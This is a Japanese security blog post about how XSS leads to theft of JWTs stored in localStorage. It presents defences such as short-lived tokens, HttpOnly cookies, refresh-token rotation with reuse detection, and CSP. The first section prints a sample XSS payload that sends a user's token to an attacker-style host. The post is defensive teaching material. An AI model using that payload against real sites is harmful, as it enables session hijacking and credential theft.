JWTとXSSの危険な関係:トークンを「盗まれる前提」で設計する防衛戦略
エンジニアの皆さん、お疲れ様です。多くの現場で「JWT(JSON Web Token)を使っていれば認証は安泰だ」という幻想を見かけます。しかし、現実はどうでしょう。もしあなたのWebアプリにXSS(クロスサイトスクリプティング)の脆弱性が一つでもあれば、JWTは「認証情報の塊」から「攻撃者に献上する合鍵」へと瞬時に化けます。
今日は、教科書的な説明は飛ばして、泥臭いインシデント現場の視点から「XSS経由でトークンが抜かれるリスク」と、それを封じ込めるための「短命トークン+リフレッシュトークンローテーション」の極意を伝授します。
—
1. なぜJWTがXSSで「終わる」のか
XSSの恐ろしさは、ブラウザ上で攻撃者のJavaScriptが「正当なユーザーの権限を乗っ取れる」点にあります。
もしJWTを localStorage に保存しているなら、攻撃者は document.cookie すら触る必要はありません。単純に localStorage.getItem('token') を実行するだけで、ユーザーになりすます権利を奪取します。
攻撃者によるPoC(概念実証)の恐怖
攻撃者は、掲示板のコメント欄やプロフィールの更新欄に以下のようなスクリプトを仕込みます。
// 攻撃者の悪意あるコード例
fetch(‘https://attacker.com/steal?token=’ + localStorage.getItem(‘access_token’));
これだけで、あなたのシステムの全ユーザーのセッションが乗っ取られる。これが、我々セキュリティ屋が「JWTを localStorage に置くな」と口を酸っぱくして言う理由です。
—
2. 実務的な防衛策:トークンのライフサイクル管理
防御の鉄則は「奪われることを前提とした被害最小化」です。以下の3つの戦略を組み合わせてください。
1. アクセストークンは極限まで短命に(5分〜15分)
2. リフレッシュトークンは HttpOnly / Secure / SameSite=Strict クッキーで保持
3. リフレッシュトークンローテーションの導入
リフレッシュトークンローテーションとは?
リフレッシュトークンを使って新しいアクセストークンを発行する際、古いリフレッシュトークンを無効化し、新しいリフレッシュトークンを払い出す仕組みです。もし万が一トークンが盗まれても、攻撃者が一度使った時点で、そのトークンは「過去の遺物」となり、正規ユーザーとの競合が発生して不正を検知できる可能性が生まれます。
—
3. 実装サンプル:Python (FastAPI) によるセキュアな設計
ここでは、リフレッシュトークンをデータベースで管理し、ローテーションさせる実装の核となる部分を示します。
リフレッシュトークンの検証とローテーション(概念コード)
def refresh_access_token(db, old_refresh_token: str):
# 1. データベースからトークンを検索
token_record = db.query(RefreshToken).filter_by(token=old_refresh_token).first()
# 2. 不正使用検知:既に使われたトークンなら、そのユーザーの全セッションを無効化(重要!)
if token_record.is_used:
revoke_all_sessions(token_record.user_id)
raise HTTPException(status_code=403, detail=”トークン再利用の疑い:攻撃の可能性”)
# 3. トークンをローテーション(旧を無効化、新を発行)
token_record.is_used = True
new_refresh_token = create_new_token()
save_new_token(token_record.user_id, new_refresh_token)
return {“access_token”: create_access_token(), “refresh_token”: new_refresh_token}
フロントエンド(JavaScript)でのCookie保存
トークンはJavaScriptから触れないようにするのが鉄則です。サーバーサイドから Set-Cookie ヘッダーで以下のように送ります。
Nginxやバックエンドからのレスポンスヘッダー例
Set-Cookie: refresh_token=eyJ…; HttpOnly; Secure; SameSite=Strict; Path=/api/auth/refresh
これにより、document.cookie での盗難を防ぎ、XSSの攻撃範囲を劇的に狭めることができます。
—
4. セキュリティチーフからの「念押し」
コードを書くだけで満足しないでください。運用で見るべきは以下のポイントです。
- WAFの最適化:
X-XSS-Protection は古いブラウザ向けです。今は Content Security Policy (CSP) を徹底してください。script-src 'self' を基本とし、信頼できないドメインからのスクリプト実行を物理的にブロックします。
- トークン無効化の導線:
「ログアウト」ボタンを押した際、DB上のリフレッシュトークンを確実に削除していますか? クライアント側で削除するだけでは、JWTの性質上、有効期限が切れるまで攻撃者はアクセスし続けられます。サーバーサイドでの「ブラックリスト管理」または「DB照会による無効化」が不可欠です。
最後に
セキュリティは「完璧な実装」を目指すものではなく、「攻撃コストを跳ね上げ、侵入を諦めさせる」ゲームです。JWTの短命化とローテーションは、そのゲームにおいて最もコスト対効果の高い防御策の一つです。
「動く」だけでなく「壊れない、盗まれない」設計を。皆さんの手元で、堅牢なシステムが運用されることを期待しています。何かあれば、いつでもコードレビューを依頼してください。現場からは以上です。
コメント